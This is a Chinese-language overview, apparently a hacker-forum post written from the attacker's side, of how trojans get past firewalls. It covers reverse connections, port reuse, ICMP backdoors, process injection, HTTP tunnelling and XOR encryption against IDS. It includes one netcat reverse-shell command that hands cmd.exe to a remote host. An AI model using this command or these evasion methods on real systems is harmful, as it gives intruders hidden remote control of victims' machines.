網絡不太平,誰上網都會架起個firewall來防護網絡攻擊,這豈不是給我們木馬的生存帶來了巨大挑戰?
物競天擇,適者生存,嗯...要想生存下去就要穿墻! Bypass Firewall:
1. 首先就是No Firewall(允許本地對外監聽基本上任何端口),沒有防火墻?(這不是廢話?)
對付這種機器好辦,隨便哪個馬一般都行典型代表 Radmin(其實它不是馬,用的人多了,也就變成了馬,無辜)
rdp 3389/tcp (遠程桌面,它也不是馬,不過你不用,還有誰用呢?)
2. 端口篩選(只允許外部連接特定端口,也就是外部對特定端口發起syn連接請求才被接受,從而完成三次握手,建立連接,否則防火墻丟棄數據包,無法完成握手,無法建立連接,也就是木馬不能隨意開個端口就監聽了)
道高一尺,魔高一丈.:
你不讓我連你,我就讓你連我唄, 反彈端口技術誕生了(一般防火墻對本地發起的syn連接請求不會攔截)
使用工具netcat就可以穿刺這種防火墻 :
nc -e cmd.exe 遠程ip 遠程監聽port
隨后,端口復用技術也出現了,復用防火墻開放的端口:如80,21,445等
典型的后門如hkdoor,ntrookit(作者都是國人yyt_hac )
還有利用無端口協議來通信,如利用icmp報文,(Ping就是利用的ICMP協議的 Echo Request和Echo Reply探測主機存活)
典型的如pingdoor (Ping由于使用icmp報文,根本不開放端口,端口篩選也就無可奈何了,但是icmp并無差錯控制,所以這種后門的傳輸特性也并不理想,除非自己加上差錯控制)
更牛的,就是干脆拋開TCP/IP協議,木馬自定義協議進行通信,你防火墻能把我怎么樣?哈哈
典型的如ntrootkit采用了自定義協議技術.
3.應用程序篩選.(只允許特定程序訪問網絡)
木馬也不甘落后,自己不能訪問網絡,只好寄人籬下:
進程插入技術誕生了,通常firewall都要允許iexplore.exe,explore.exe,svchost.exe,services.exe等程序訪問網絡,于是木馬便盯上了這些程序.插入...插入再插入
現在的遠程控制一般都是插入進程式,一是隱蔽(沒有自己進程),二是穿墻.典型如Bits.dll(替換系統服務BITS,插入svchost.exe中) 和灰鴿子/PcShare(默認插入iexplorer.exe瀏覽器進程)等.
4.協議篩選.
(例如,只允許80端口通過http協議,這樣那些端口復用的后門沒有使用http協議,不幸被防火墻拒之門外.:-)
怎么辦? 暗渡陳倉, 挖隧道: http-tunnel (http隧道)將木馬通信封裝成http數據報進行傳輸.
使用這種技術的有pcshare(使用雙向http隧道傳輸)
5.IP過濾,一般就是化分為本機,局域網,廣域網三個層次,不過木馬也不是吃素的,有些木馬已經開始智能化了:
比如,無法連到黑客主機或者跳板,就搜索本機的代理設置,如IE代理設置,然后代理出去!
可以想象P2P形式的馬也將于不久以后成為可能,這樣木馬和僵尸網絡的區別就更小了 呵呵
6. 現在很多防火墻都可以檢測傳輸的敏感信息,如用戶口令等,所以抗IDS,抗自動分析,這便成了高級木馬需要考慮的東西,換句話說保護黑客控制的安全性和隱秘性.典型的解決方法就是采取加密措施,如最簡單的對付IDS檢測的方法,xor異或加密.
但是現在的防護墻肯定不是以上技術的分離,而是一定有多項技術同時采用.
同時,綜合利用以上對抗技術的木馬也不鮮見了.
木馬和防護墻 永遠是一對矛盾,彼此斗爭,彼此發展.呵呵